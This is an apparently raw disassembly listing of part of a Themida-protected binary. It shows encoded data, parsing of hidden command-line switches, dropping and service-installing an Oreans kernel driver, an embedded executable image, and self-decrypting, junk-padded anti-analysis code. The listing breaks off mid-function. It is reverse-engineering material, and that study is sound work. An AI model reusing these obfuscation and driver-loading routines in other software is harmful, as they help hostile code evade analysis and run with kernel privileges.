dd 0B1867D00h, 5A5EE4FCh, 0C3DD347Dh, 0D54B1EFCh, 4489234Dh
dd 0DE90424h, 0A6000000h, 0A919802h, 0CC21EE45h, 71CE262Ah
dd 840F58h, 8D000000h, 14AE789Dh, 51006A06h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1804h, 0C3514100h, 586D344Dh
dd 0EA51B98Bh, 8B663754h, 8B6693F0h, 525050F1h, 0F88B5250h
dd 8E0F310Fh, 0
dd 310F585Ah, 585AD78Bh, 0FBF6693h, 0E8D0FF8Bh, 10h, 5A39DACDh
dd 0B0FFF05Eh, 921A22CFh, 2C2221ECh, 405AF98Bh, 18F850Fh
dd 0B58B0000h, 6121A91h, 0F6BF0F58h, 8996B250h, 0BA662404h
dd 6A4820h, 0DC6FD3BAh, 32206858h, 0BE81B3Ch, 0
dd 725CFDE8h, 0D6F8C4BAh, 8C0FB2C0h, 6, 310F5250h, 8159585Ah
dd 32A02434h, 6A1B3Ch, 3E855h, 5D200000h, 6C895DC3h, 44810424h
dd 150424h, 55450000h, 5694AEC3h, 27ED8D89h, 6A5A0612h
dd 52006A03h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1604h
dd 0C3524200h, 0FCBDB1C9h, 6A006Ah, 3E856h, 5E200000h
dd 74895EC3h, 44810424h, 160424h, 56460000h, 589156C3h
dd 0FDBD8B50h, 59061215h, 6A036Ah, 3E850h, 58200000h, 448958C3h
dd 44810424h, 1C0424h, 50400000h, 1E160C3h, 0DC0C7689h
dd 0BD298FBDh, 6121CD1h, 379501BAh, 4E86Ah, 0
dd 0EE8C000h, 0A6000000h, 0EC63E001h, 8F448180h, 0C51EAE51h
dd 48D0F6Ch, 66000000h, 5ED036BAh, 8B5E5150h, 66042444h
dd 8B7311BFh, 24448900h, 0AFCBA04h, 6A5855C5h, 3E85200h
dd 20000000h, 895AC35Ah, 81042454h, 1A042444h, 42000000h
dd 875AC352h, 0EF22B68h, 920BB9BFh, 9D8D43CDh, 614AE83h
dd 7E9h, 9F6A0600h, 6AB0B461h, 8B665093h, 958993CEh, 6122641h
dd 870FD0FFh, 6, 895BD29h, 8B600612h, 0F88B66C6h, 850F4061h
dd 0Dh, 11ED9D89h, 0F8580612h, 18DE9h, 66D88B00h, 4B614CB9h
dd 1A41BD8Bh, 6A580612h, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 17042444h, 40000000h, 24B9C350h, 0B58B68F3h
dd 6122609h, 15C185C6h, 6A430612h, 3E85200h, 20000000h
dd 895AC35Ah, 81042454h, 1B042444h, 42000000h, 5716C352h
dd 5E7D54C9h, 860FFB31h, 6, 3061B529h, 0D9810612h, 47077D16h
dd 4E8h, 764AA700h, 595650C0h, 424448Bh, 0EE9h, 56AFDF00h
dd 3A5DECEEh, 0DD752E77h, 8B07A31Ah, 0AE800h, 9AAE0000h
dd 0C04D20C5h, 496F0043h, 895E85B5h, 0B9042444h, 62E273C0h
dd 75853158h, 0FF06122Dh, 1217F1B5h, 0B5958906h, 8D061231h
dd 123B4885h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
dd 1804h, 0C3564600h, 3905BF13h, 8BD0FF73h, 122D21BDh
dd 0E8509306h, 13h, 281E1B76h, 0A7459D31h, 0EAB36D11h
dd 2332CC29h, 5A21C4A9h, 57006A93h, 3E8h, 0C35F2000h, 247C895Fh
dd 24448104h, 1B04h, 0C3574700h, 0E82363E5h, 2D4B3686h
dd 2BD0FFF9h, 12279DBDh, 89D8D06h, 0E8061273h, 6, 0E9E98711h
dd 0B5036FCBh, 6121E79h, 1B85Ah, 830F0000h, 6, 30418D8Bh
dd 0E3FF0612h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
dd 15h, 0C1C35040h, 158D8B9Dh, 8906122Ah, 122389B5h, 0C18BF906h
dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 18h, 74C35141h
dd 4E0BD00Fh, 0FD78B66h, 8D89FBB7h, 61219F1h, 0B58BC08Bh
dd 6122CD1h, 2F01BD83h, 75000612h, 49BD8309h, 61221h, 53501974h
dd 0FB8C08Bh, 89000004h, 1202B985h, 709D8D06h, 0FF0614ADh
dd 83585BD3h, 122149BDh, 17740006h, 0FB85350h, 89000004h
dd 1202B985h, 119D8D06h, 0FF0614AAh, 6A585BD3h, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 1A042444h, 41000000h
dd 0F9C8C351h, 58779422h, 8501F5D5h, 6120309h, 0AE8C08Bh
dd 29000000h, 0AC9FFF25h, 0E280F755h, 9D8B600Bh, 6120075h
dd 665E61F5h, 947AD781h, 6B4BC681h, 6E80000h, 0E2000000h
dd 6853BEA2h, 0DDB86607h, 0D22B5FCCh, 798523h, 0C8B0612h
dd 9D295716h, 6122341h, 0ABE98158h, 66449C83h, 0E981DF8Bh
dd 79E7356Fh, 33599D89h, 0F1810612h, 198BAC8Ah, 7D5BD8Bh
dd 0C890612h, 65958916h, 0F061211h, 1980h, 14E900h, 0F0E70000h
dd 0A93D706Eh, 35D372Eh, 79F87DB6h, 622E9A41h, 0EA83CBAAh
dd 0DFBF0F04h, 9554FA81h, 850FFFFFh, 0FFFFFF9Ah, 2E25858Bh
dd 99E90612h, 2F000000h, 63677562h, 6B636568h, 622F0032h
dd 68636775h, 6B6365h, 726F662Fh, 75726563h, 622F006Eh
dd 68636775h, 666B6365h, 6C6C75h, 6F68732Fh, 646F6377h
dd 732F0065h, 63776F68h, 3265646Fh, 6C632F00h, 2F007472h
dd 31736964h, 68732F00h, 6E69776Fh, 6E617473h, 2F006563h
dd 77746567h, 6174736Ch, 737574h, 676F6C2Fh, 74617473h
dd 2F007375h, 706D7564h, 74617473h, 7375h, 2F000000h, 63656863h
dd 6F72706Bh, 74636574h, 6E6F69h, 0
; ---------------------------------------------------------------------------
cmp dword ptr [ebp+614B7B1h], 0
jz loc_5A72BB
mov dword ptr [ebp+6122149h], 1
loc_5A72BB: ; CODE XREF: Themida_:005A72ABj
mov byte ptr [ebp+61215C1h], 47h
call sub_5A72CB
lea ebp, [ebp+ebp*2-70h]
; =============== S U B R O U T I N E =======================================
sub_5A72CB proc near ; CODE XREF: Themida_:005A72C2p
; FUNCTION CHUNK AT 005A761D SIZE 0000001E BYTES
; FUNCTION CHUNK AT 005A7849 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 005A793D SIZE 00000015 BYTES
; FUNCTION CHUNK AT 005A7954 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 005AB129 SIZE 0000000E BYTES
push eax
mov eax, [esp+4]
mov eax, [eax]
mov [esp+4], eax
pop eax
push dword ptr [ebp+61217F1h]
lea eax, [ebp+6123B48h]
call eax
call eax
mov edi, eax
cmp byte ptr [edi], 22h
jnz loc_5A7314
inc edi
mov al, 22h
loc_5A72F5: ; CODE XREF: sub_5A72CB+2Bj
scasb
jnz loc_5A72F5
cmp byte ptr [edi], 0
jz loc_5A761D
inc edi
cmp byte ptr [edi], 0
jz loc_5A761D
jmp loc_5A7332
; ---------------------------------------------------------------------------
loc_5A7314: ; CODE XREF: sub_5A72CB+21j
; sub_5A72CB+62j
cmp byte ptr [edi], 0
jz loc_5A761D
cmp byte ptr [edi], 20h
jnz loc_5A732C
inc edi
jmp loc_5A7332
; ---------------------------------------------------------------------------
loc_5A732C: ; CODE XREF: sub_5A72CB+55j
inc edi
jmp loc_5A7314
; ---------------------------------------------------------------------------
loc_5A7332: ; CODE XREF: sub_5A72CB+44j
; sub_5A72CB+5Cj ...
cmp byte ptr [edi], 0
jnz loc_5A7340
jmp loc_5A761D
; ---------------------------------------------------------------------------
loc_5A7340: ; CODE XREF: sub_5A72CB+6Aj
jmp loc_5A7346
; ---------------------------------------------------------------------------
loc_5A7345: ; CODE XREF: sub_5A72CB+7Ej
inc edi
loc_5A7346: ; CODE XREF: sub_5A72CB:loc_5A7340j
cmp byte ptr [edi], 20h
jz loc_5A7345
cmp byte ptr [edi], 0
jnz loc_5A735D
jmp loc_5A761D
; ---------------------------------------------------------------------------
loc_5A735D: ; CODE XREF: sub_5A72CB+87j
call sub_5A736C
jmp loc_5A7332
sub_5A72CB endp ; sp-analysis failed
; ---------------------------------------------------------------------------
jmp loc_5A761D
; =============== S U B R O U T I N E =======================================
sub_5A736C proc near ; CODE XREF: sub_5A72CB:loc_5A735Dp
lea esi, [ebp+614B731h]
call sub_5A759C
add edi, [ebp+614B7C6h]
cmp dword ptr [ebp+614B7C6h], 0
jz loc_5A7395
mov dword ptr [ebp+6122F01h], 1
retn
; ---------------------------------------------------------------------------
loc_5A7395: ; CODE XREF: sub_5A736C+18j
lea esi, [ebp+614B73Ch]
call sub_5A759C
add edi, [ebp+614B7C6h]
cmp dword ptr [ebp+614B7C6h], 0
jz loc_5A73BE
mov dword ptr [ebp+6122149h], 1
retn
; ---------------------------------------------------------------------------
loc_5A73BE: ; CODE XREF: sub_5A736C+41j
lea esi, [ebp+614B7B5h]
call sub_5A759C
add edi, [ebp+614B7C6h]
cmp dword ptr [ebp+614B7C6h], 0
jz loc_5A73E7
mov dword ptr [ebp+6121641h], 1
retn
; ---------------------------------------------------------------------------
loc_5A73E7: ; CODE XREF: sub_5A736C+6Aj
lea esi, [ebp+614B746h]
call sub_5A759C
add edi, [ebp+614B7C6h]
cmp dword ptr [ebp+614B7C6h], 0
jz loc_5A7410
mov dword ptr [ebp+6122149h], 1
retn
; ---------------------------------------------------------------------------
loc_5A7410: ; CODE XREF: sub_5A736C+93j
lea esi, [ebp+614B750h]
call sub_5A759C
add edi, [ebp+614B7C6h]
cmp dword ptr [ebp+614B7C6h], 0
jz loc_5A7443
mov dword ptr [ebp+6122149h], 1
mov dword ptr [ebp+6122F01h], 1
retn
; ---------------------------------------------------------------------------
loc_5A7443: ; CODE XREF: sub_5A736C+BCj
lea esi, [ebp+614B75Eh]
call sub_5A759C
add edi, [ebp+614B7C6h]
cmp dword ptr [ebp+614B7C6h], 0
jz loc_5A746B
mov dword ptr [ebp+61208B9h], 1
loc_5A746B: ; CODE XREF: sub_5A736C+EFj
lea esi, [ebp+614B768h]
call sub_5A759C
add edi, [ebp+614B7C6h]
cmp dword ptr [ebp+614B7C6h], 0
jz loc_5A7493
mov dword ptr [ebp+61208B9h], 1
loc_5A7493: ; CODE XREF: sub_5A736C+117j
lea esi, [ebp+614B773h]
call sub_5A759C
add edi, [ebp+614B7C6h]
cmp dword ptr [ebp+614B7C6h], 0
jz loc_5A74BB
mov dword ptr [ebp+6123425h], 1
loc_5A74BB: ; CODE XREF: sub_5A736C+13Fj
lea esi, [ebp+614B779h]
call sub_5A759C
add edi, [ebp+614B7C6h]
cmp dword ptr [ebp+614B7C6h], 0
jz loc_5A74E3
mov dword ptr [ebp+61228F1h], 1
loc_5A74E3: ; CODE XREF: sub_5A736C+167j
lea esi, [ebp+614B77Fh]
call sub_5A759C
add edi, [ebp+614B7C6h]
cmp dword ptr [ebp+614B7C6h], 0
jz loc_5A750B
mov dword ptr [ebp+61200C1h], 1
loc_5A750B: ; CODE XREF: sub_5A736C+18Fj
lea esi, [ebp+614B78Dh]
call sub_5A759C
add edi, [ebp+614B7C6h]
cmp dword ptr [ebp+614B7C6h], 0
jz loc_5A7533
mov dword ptr [ebp+61208C5h], 1
loc_5A7533: ; CODE XREF: sub_5A736C+1B7j
lea esi, [ebp+614B79Ah]
call sub_5A759C
add edi, [ebp+614B7C6h]
cmp dword ptr [ebp+614B7C6h], 0
jz loc_5A755B
mov dword ptr [ebp+612294Dh], 1
loc_5A755B: ; CODE XREF: sub_5A736C+1DFj
lea esi, [ebp+614B7A5h]
call sub_5A759C
add edi, [ebp+614B7C6h]
cmp dword ptr [ebp+614B7C6h], 0
jz loc_5A7583
mov dword ptr [ebp+6121CB9h], 1
loc_5A7583: ; CODE XREF: sub_5A736C+207j
jmp loc_5A7589
; ---------------------------------------------------------------------------
loc_5A7588: ; CODE XREF: sub_5A736C+229j
inc edi
loc_5A7589: ; CODE XREF: sub_5A736C:loc_5A7583j
cmp byte ptr [edi], 20h
jz locret_5A759B
cmp byte ptr [edi], 0
jnz loc_5A7588
locret_5A759B: ; CODE XREF: sub_5A736C+220j
retn
sub_5A736C endp
; =============== S U B R O U T I N E =======================================
sub_5A759C proc near ; CODE XREF: sub_5A736C+6p
; sub_5A736C+2Fp ...
pusha
mov ecx, 1
mov ebx, esi
jmp loc_5A75C2
; ---------------------------------------------------------------------------
loc_5A75A9: ; CODE XREF: sub_5A759C+31j
cmp byte ptr [edi], 0
jnz loc_5A75B4
sub ecx, ecx
loc_5A75B4: ; CODE XREF: sub_5A759C+10j
mov dl, [edi]
cmp [esi], dl
jz loc_5A75C0
sub ecx, ecx
loc_5A75C0: ; CODE XREF: sub_5A759C+1Cj
inc esi
inc edi
loc_5A75C2: ; CODE XREF: sub_5A759C+8j
cmp byte ptr [esi], 0
jz loc_5A75D3
or ecx, ecx
jnz loc_5A75A9
loc_5A75D3: ; CODE XREF: sub_5A759C+29j
or ecx, ecx
jz loc_5A75FC
cmp byte ptr [edi], 0
jz loc_5A75ED
cmp byte ptr [edi], 20h
jnz loc_5A75F7
loc_5A75ED: ; CODE XREF: sub_5A759C+42j
mov ecx, 1
jmp loc_5A75FC
; ---------------------------------------------------------------------------
loc_5A75F7: ; CODE XREF: sub_5A759C+4Bj
mov ecx, 0
loc_5A75FC: ; CODE XREF: sub_5A759C+39j
; sub_5A759C+56j
or ecx, ecx
jz loc_5A7611
sub esi, ebx
mov [ebp+614B7C6h], esi
jmp loc_5A761B
; ---------------------------------------------------------------------------
loc_5A7611: ; CODE XREF: sub_5A759C+62j
mov dword ptr [ebp+614B7C6h], 0
loc_5A761B: ; CODE XREF: sub_5A759C+70j
popa
retn
sub_5A759C endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A72CB
loc_5A761D: ; CODE XREF: sub_5A72CB+34j
; sub_5A72CB+3Ej ...
mov eax, 0
or eax, eax
jz loc_5A7634
mov dword ptr [ebp+61208B9h], 0
loc_5A7634: ; CODE XREF: sub_5A72CB+359j
mov ecx, eax
jmp loc_5A7849
; END OF FUNCTION CHUNK FOR sub_5A72CB
; ---------------------------------------------------------------------------
a3cannotWriteOr db '3Cannot write oreans.vxd',0Ah
db 0Dh,'Make sure that this file is not being used by another program.',0
dd 67h dup(0)
dd 5C000000h, 6165724Fh, 762E736Eh, 6478h, 2 dup(0)
db 0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A72CB
loc_5A7849: ; CODE XREF: sub_5A72CB+36Bj
jmp loc_5A793D
; END OF FUNCTION CHUNK FOR sub_5A72CB
; ---------------------------------------------------------------------------
mov byte ptr [ebp+61215C1h], 47h
push 0E3E45B86h
push dword ptr [ebp+61217F1h]
lea eax, [ebp+6123B48h]
call eax
push 104h
lea ebx, [ebp+6120F5Dh]
push ebx
call eax
push eax
lea esi, [ebp+614BD59h]
mov edi, esi
xor al, al
loc_5A7881: ; CODE XREF: Themida_:005A7882j
scasb
jnz loc_5A7881
sub edi, esi
mov ecx, edi
pop eax
mov edi, ebx
add edi, eax
rep movsb
mov byte ptr [ebp+61215C1h], 43h
push 0BC8E6EFCh
push dword ptr [ebp+61217F1h]
lea eax, [ebp+6123B48h]
call eax
lea esi, [ebp+6120F5Dh]
push 0
push 80h
push 2
push 0
push 0
push 0C0000000h
push esi
call eax
mov ebx, eax
mov byte ptr [ebp+61215C1h], 57h
push 0A69BEE56h
push dword ptr [ebp+61217F1h]
lea eax, [ebp+6123B48h]
call eax
lea edi, [ebp+6121A6Dh]
lea ecx, [ebp+614BE7Fh]
push 0
push edi
push 37D0h
push ecx
push ebx
call eax
test eax, eax
jnz loc_5A791F
lea esi, [ebp+614BB61h]
lea eax, [ebp+614A6D0h]
call eax
lea ecx, [ebp+6127308h]
mov eax, 0
jmp ecx
; ---------------------------------------------------------------------------
loc_5A791F: ; CODE XREF: Themida_:005A78FEj
mov byte ptr [ebp+61215C1h], 43h
push 0C0764AA7h
push dword ptr [ebp+61217F1h]
lea eax, [ebp+6123B48h]
call eax
push ebx
call eax
retn
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A72CB
loc_5A793D: ; CODE XREF: sub_5A72CB:loc_5A7849j
mov ecx, 37D0h
call $+5
pop eax
add eax, 0Eh
mov [eax], ecx
jmp loc_5A7954
; END OF FUNCTION CHUNK FOR sub_5A72CB
; ---------------------------------------------------------------------------
mov eax, ebx
; START OF FUNCTION CHUNK FOR sub_5A72CB
loc_5A7954: ; CODE XREF: sub_5A72CB+682j
jmp loc_5AB129
; END OF FUNCTION CHUNK FOR sub_5A72CB
; ---------------------------------------------------------------------------
db 4Dh, 5Ah, 90h
dd 300h, 400h, 0FFFF00h, 0B800h, 0
dd 4000h, 8 dup(0)
dd 0B000h, 0BA1F0E00h, 9B4000Eh, 1B821CDh, 5421CD4Ch, 20736968h
dd 676F7270h, 206D6172h, 6E6E6163h, 6220746Fh, 75722065h
dd 6E69206Eh, 534F4420h, 646F6D20h, 0D0D2E65h, 240Ah, 0
dd 1D175D00h, 737619DBh, 2 dup(73761988h), 6156E588h, 73761888h
dd 73761988h, 73761888h, 63695288h, 73761968h, 88h, 0
dd offset dword_44A8E0+0A320h
dd 0
dd 4000200h, 0
dd 3800000h, 1400h, 4 dup(0)
dd 20000h, 1C000h, 9000h, 0
dd 7E00h, 0
dd 0C400h, 100h, 0DC00h, 3 dup(0)
dd 12C00h, 13800h, 2 dup(0)
dd 14200h, 19600h, 1D200h, 0
dd 1D200h, 0
dd 100000h, 1400h, 37C000h, 1000h, 0Dh dup(0)
dd 27C004h, 0
dd 204500h, 100h, 1400h, 4F434C00h, 1000044h, 2000000h
dd 3000000h, 4000000h, 5000000h, 6000000h, 7000000h, 8000000h
dd 9000000h, 0A000000h, 0B000000h, 0C000000h, 0D000000h
dd 0E000000h, 0F000000h, 10000000h, 11000000h, 12000000h
dd 13000000h, 14000000h, 50580800h, 56544F52h, 4458h, 1030100h
dd 300h, 0
dd 13h dup(7000000h), 3C000000h, 7000000h, 1001800h, 72760h
dd 500101ADh, 91000700h, 279B0101h, 1060027h, 179276Fh
dd 181017Dh, 1890185h, 7018Dh, 95010175h, 71000727h, 27980101h
dd 16B0007h, 277101h, 360h dup(0)
dd 40000h, 100h, 52505800h, 5856544Fh, 44h, 80h, 8 dup(0)
dd 72657600h, 5050h, 73763100h, 73763252h, 73763352h, 52h
dd 9C3h dup(0)
dd 1BE88300h, 7309F883h, 8524FF07h, 0
; ---------------------------------------------------------------------------
clc
retn
; ---------------------------------------------------------------------------
align 4
dd 8 dup(0)
dd 0C0330000h, 0C3C033C3h, 0C7E83h, 0C0330475h, 7E831AEBh
dd 1475010Ch, 58Dh, 7E8B0000h, 0C7078918h
db 46h, 20h, 4
db 0 ; CODE XREF: sub_5A72CB+3E63j
dd 0C0330000h, 50580CC3h, 56544F52h, 445F4458h, 4244h
db 0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A72CB
loc_5AB129: ; CODE XREF: sub_5A72CB:loc_5A7954j
call sub_5AB137
db 65h
jnz short near ptr byte_5AB113
outsb
sar byte ptr [edi+15h], cl
fstp9 st(3)
; END OF FUNCTION CHUNK FOR sub_5A72CB
; =============== S U B R O U T I N E =======================================
sub_5AB137 proc near ; CODE XREF: sub_5A72CB:loc_5AB129p
pop edx
add edx, 6E5Ch
mov [ebp+61225E9h], ebx
xor ecx, ecx
jnz loc_5AB152
mov [ebp+61229ADh], edx
loc_5AB152: ; CODE XREF: sub_5AB137+Fj
; sub_5AB137+6Bj
mov eax, [edx+ecx]
jp loc_5AB15F
mov si, 2D10h
loc_5AB15F: ; CODE XREF: sub_5AB137+1Ej
sub eax, 120ABDB0h
mov edi, 18D3D432h
add eax, 26132B62h
push edx
mov si, 4283h
pop ebx
sub eax, 6DD3CCh
mov ebx, [ebp+6122831h]
mov [edx+ecx], eax
clc
mov di, bx
sub ecx, 4
jmp loc_5AB19C
; ---------------------------------------------------------------------------
db 32h, 35h, 0E0h
dd 0C7D0FB17h, 987A8F87h
; ---------------------------------------------------------------------------
loc_5AB19C: ; CODE XREF: sub_5AB137+55j
cmp ecx, 0FFFF9228h
jnz loc_5AB152
push ebx
jnp loc_5AB1B5
mov ebx, [ebp+6121E6Dh]
loc_5AB1B5: ; CODE XREF: sub_5AB137+72j
pop esi
jmp loc_5AC272
; ---------------------------------------------------------------------------
db 41h
dd 50415644h, 2E323349h, 4C4C44h, 6E65704Fh, 614D4353h
dd 6567616Eh, 43004172h, 74616572h, 72655365h, 65636976h
dd 74530041h, 53747261h, 69767265h, 416563h, 4E746547h
dd 76697461h, 73795365h, 496D6574h, 6F666Eh, 6E65704Fh
dd 76726553h, 41656369h, 6C654400h, 53657465h, 69767265h
dd 43006563h, 65736F6Ch, 76726553h, 48656369h, 6C646E61h
dd 6F430065h, 6F72746Eh, 7265536Ch, 65636976h, 8 dup(0)
dd 65726F00h, 33736E61h, 79732E32h, 73h, 0
dd 726F0000h, 736E6165h, 2E343678h, 737973h, 2 dup(0)
aOreans32 db 'oreans32',0
a_Oreans32 db '\\.\oreans32',0
a_GlobalOreans3 db '\\.\Global\oreans32',0
aOreansx64 db 'oreansx64',0
a_GlobalOreansx db '\\.\Global\oreansx64',0
align 4
dd 41h dup(0)
dd 53595300h, 524D4554h, 544F4Fh, 735C7325h, 65747379h
dd 5C32336Dh, 76697264h, 5C737265h, 25007325h, 79735C73h
dd 776F7773h, 645C3436h, 65766972h, 255C7372h, 73250073h
dd 7379735Ch, 336D6574h, 72645C32h, 72657669h, 726F5C73h
dd 736E6165h, 732E3233h, 7379h, 48h dup(0)
dd 33000000h, 6E6E6143h, 5520746Fh, 74616470h, 726F2065h
dd 736E6165h, 7379732Eh, 69726420h, 2E726576h, 656C5020h
dd 2C657361h, 6B616D20h, 75732065h, 74206572h, 20746168h
dd 20756F79h, 65766168h, 64610D0Ah, 696E696Dh, 61727473h
dd 27726F74h, 65702073h, 74696D72h, 68742073h, 69662065h
dd 20747372h, 656D6974h, 61687420h, 6F792074h, 72612075h
dd 6F672065h, 20676E69h, 72206F74h, 74206E75h, 20736968h
dd 676F7270h, 2E6D6172h, 59h dup(0)
dd 33000000h, 6E6E6143h, 6F20746Fh, 206E6570h, 6165726Fh
dd 762E736Eh, 64206478h, 65766972h, 4D202E72h, 20656B61h
dd 65727573h, 61687420h, 726F2074h, 736E6165h, 6478762Eh
dd 73690D0Ah, 746F6E20h, 65706F20h, 7962206Eh, 6F6E6120h
dd 72656874h, 6F727020h, 6D617267h, 2Eh, 66h dup(0)
dd 33000000h, 75636553h, 6E456572h, 656E6967h, 69726420h
dd 20726576h, 6E6E6163h, 6220746Fh, 70752065h, 65746164h
dd 65622064h, 73756163h, 68742065h, 20657265h, 20657261h
dd 656D6F73h, 6F727020h, 6D617267h, 73752073h, 0A676E69h
dd 2E74690Dh, 756F5920h, 65656E20h, 6F742064h, 6F6C6320h
dd 74206573h, 65736F68h, 6F727020h, 6D617267h, 726F2073h
dd 73657220h, 74726174h, 756F7920h, 6F632072h, 7475706Dh
dd 0A2E7265h, 7365520Dh, 74726174h, 776F6E20h, 3Fh, 0D8h dup(0)
dd 5C000000h, 4F5C2E5Ch, 6E616572h, 78762E73h, 64h, 2 dup(0)
dd 4F5C7325h, 6E616572h, 78762E73h, 64h, 2 dup(0)
aXprotevent db 'XprotEvent',0
align 4
dd 0Ah dup(0)
dd 53000000h, 75685365h, 776F6474h, 6972506Eh, 656C6976h
dd 6567h, 43000000h, 74616572h, 65764565h, 4120746Eh, 45204950h
dd 726F7272h, 69687720h, 6520656Ch, 61727478h, 6F697463h
dd 6874206Eh, 72642065h, 72657669h, 74654700h, 69766E45h
dd 6D6E6F72h, 56746E65h, 61697261h, 20656C62h, 20495041h
dd 6F727245h, 68772072h, 20656C69h, 72747865h, 69746361h
dd 74206E6Fh, 64206568h, 65766972h, 704F0072h, 43536E65h
dd 616E614Dh, 20726567h, 20495041h, 6F727245h, 68772072h
dd 20656C69h, 72747865h, 69746361h, 74206E6Fh, 64206568h
dd 65766972h, 72430072h, 65746165h, 76726553h, 20656369h
dd 20495041h, 6F727245h, 68772072h, 20656C69h, 72747865h
dd 69746361h, 74206E6Fh, 64206568h, 65766972h, 6C430072h
dd 5365736Fh, 69767265h, 61486563h, 656C646Eh, 49504120h
dd 72724520h, 7720726Fh, 656C6968h, 74786520h, 74636172h
dd 206E6F69h, 20656874h, 76697264h, 4F007265h, 536E6570h
dd 69767265h, 41206563h, 45204950h, 726F7272h, 69687720h
dd 6520656Ch, 61727478h, 6F697463h, 6874206Eh, 72642065h
dd 72657669h, 61745300h, 65537472h, 63697672h, 50412065h
dd 72452049h, 20726F72h, 6C696877h, 78652065h, 63617274h
dd 6E6F6974h, 65687420h, 69726420h, 726576h, 43495041h
dd 72726520h, 203A726Fh, 6E6E6143h, 6620746Fh, 20646E69h
dd 636F7250h, 6F737365h, 43207372h, 72746E6Fh, 42206C6Fh
dd 6B636F6Ch, 50202E73h, 7361656Ch, 0D0A2C65h, 746E6F63h
dd 20746361h, 6F666E69h, 65726F40h, 2E736E61h, 206D6F63h
dd 20726F66h, 73696874h, 72726520h, 726Fh, 4000000h, 33000001h
dd 72726F53h, 74202C79h, 20736968h, 6C707061h, 74616369h
dd 206E6F69h, 6E6E6163h, 7220746Fh, 75206E75h, 7265646Eh
dd 56206120h, 75747269h, 4D206C61h, 69686361h, 656Eh, 70h dup(0)
dd 10h, 0FF000100h, 17FFEFFh, 1000000h, 4A000000h, 2, 0F000100h
dd 40800h, 94h, 5, 1, 0A28h, 2, 76726553h, 20656369h, 6B636150h
dd 3220h, 1Dh dup(0)
dd 74666F53h, 65726177h, 6E69575Ch
db 65h, 0
; ---------------------------------------------------------------------------
loc_5AC272: ; CODE XREF: sub_5AB137+7Fj
mov eax, esp
mov [ebp+61215BDh], ecx
mov [ebp+6122875h], eax
mov dl, ah
mov eax, eax
mov [ebp+612333Dh], esi
cmp dword ptr [ebp+6122F01h], 0
jnz short loc_5AC29C
cmp dword ptr [ebp+6122149h], 0
jz short loc_5AC2B5
loc_5AC29C: ; CODE XREF: sub_5AB137+115Aj
push eax
push ebx
mov eax, eax
mov eax, 43Dh
mov [ebp+6120B35h], eax
lea ebx, [ebp+614AD09h]
call ebx ; _iob
pop ebx
pop eax
loc_5AC2B5: ; CODE XREF: sub_5AB137+1163j
cmp dword ptr [ebp+6122149h], 0
jz short loc_5AC2D5
push eax
push ebx
mov eax, 43Dh
mov [ebp+6120B35h], eax
lea ebx, [ebp+614A9F8h]
call ebx ; _iob
pop ebx
pop eax
loc_5AC2D5: ; CODE XREF: sub_5AB137+1185j
jns loc_5AC2E1
mov [ebp+61232F9h], ecx
loc_5AC2E1: ; CODE XREF: sub_5AB137:loc_5AC2D5j
push 0
push edi
call sub_5AC2EC
and [edi-3Dh], bl
sub_5AB137 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_5AC2EC proc near ; CODE XREF: sub_5AB137+11ADp
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 18h
inc edi
push edi
retn
sub_5AC2EC endp
; ---------------------------------------------------------------------------
dd 773B92E3h, 0E8C08BC9h, 0Dh, 0A1C429D2h, 0E11D4C94h
dd 0ADFB3214h, 6860F5Eh, 89000000h, 1225B5B5h, 7E95F06h
dd 6D000000h, 97537B96h, 0C08B8105h, 9CFB70Fh, 121BC995h
dd 1BD8306h, 6122Fh, 0BD830975h, 6122149h, 50137400h, 0B8C08B53h
dd 0
; ---------------------------------------------------------------------------
lea ebx, [ebp+614ABABh]
call ebx ; _iob
pop ebx
pop eax
cmp dword ptr [ebp+6122149h], 0
jz short loc_5AC378
push eax
push ebx
mov eax, 0
lea ebx, [ebp+614AA5Ch]
call ebx ; _iob
pop ebx
pop eax
loc_5AC378: ; CODE XREF: Themida_:005AC365j
push 0
push eax
call sub_5AC383
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5AC383 proc near ; CODE XREF: Themida_:005AC37Bp
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 15h
inc eax
push eax
retn
sub_5AC383 endp
; ---------------------------------------------------------------------------
and [ebx], dl
mov [ebp+6121A7Dh], edi
mov di, dx
mov ecx, [ebp+612150Dh]
mov eax, eax
mov edx, 0AC5D0B6h
mov eax, eax
mov edi, [ebp+6121619h]
cmp dword ptr [ebp+6122F01h], 0
jnz short loc_5AC3C5
cmp dword ptr [ebp+6122149h], 0
jz short loc_5AC3D8
loc_5AC3C5: ; CODE XREF: Themida_:005AC3BAj
push eax
push ebx
mov eax, eax
mov eax, 0
lea ebx, [ebp+614AADDh]
call ebx ; _iob
pop ebx
pop eax
loc_5AC3D8: ; CODE XREF: Themida_:005AC3C3j
cmp dword ptr [ebp+6122149h], 0
jz short loc_5AC3F2
push eax
push ebx
mov eax, 0
lea ebx, [ebp+614AA2Ah]
call ebx ; _iob
pop ebx
pop eax
loc_5AC3F2: ; CODE XREF: Themida_:005AC3DFj
sub edx, [ebp+61215A9h]
mov edx, [ebp+612032Dh]
mov eax, eax
xor dh, 47h
mov eax, eax
mov di, bx
cmp dword ptr [ebp+6122F01h], 0
jnz short loc_5AC41A
cmp dword ptr [ebp+6122149h], 0
jz short loc_5AC42D
loc_5AC41A: ; CODE XREF: Themida_:005AC40Fj
push eax
push ebx
mov eax, eax
mov eax, 0
lea ebx, [ebp+614AB44h]
call ebx ; _iob
pop ebx
pop eax
loc_5AC42D: ; CODE XREF: Themida_:005AC418j
cmp dword ptr [ebp+6122149h], 0
jz short loc_5AC447
